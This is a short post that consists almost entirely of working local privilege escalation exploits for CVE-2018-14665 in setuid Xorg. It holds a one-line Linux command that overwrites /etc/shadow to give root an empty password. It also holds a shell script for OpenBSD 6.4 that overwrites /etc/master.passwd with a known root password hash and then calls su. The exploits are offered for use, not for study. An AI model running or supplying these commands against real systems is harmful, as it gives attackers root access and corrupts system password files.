#CVE-2018-14665 - a LPE exploit via http://X.orgfits in a tweet
cd /etc; Xorg -fp "root::16431:0:99999:7:::"-logfile shadow:1;su
Overwrite shadow (or any) file on most Linux, get root privileges.*BSD and any other Xorg desktop also affected.#!/bin/sh# local privilege escalation in X11 currently# unpatched in OpenBSD 6.4 stable - exploit# uses cve-2018-14665 to overwrite files as root. # Impacts Xorg 1.19.0 - 1.20.2 which ships setuid# and vulnerable in default OpenBSD.## - https://hacker.houseecho[+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh'-logfile master.passwd :1 &
sleep 5
pkill Xorg
echo[-] dont forget to mv and chmod /etc/master.passwd.old back
echo[+]type'Password1' and hit enter for root
su -
EBB Note ~ Another version of it: https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850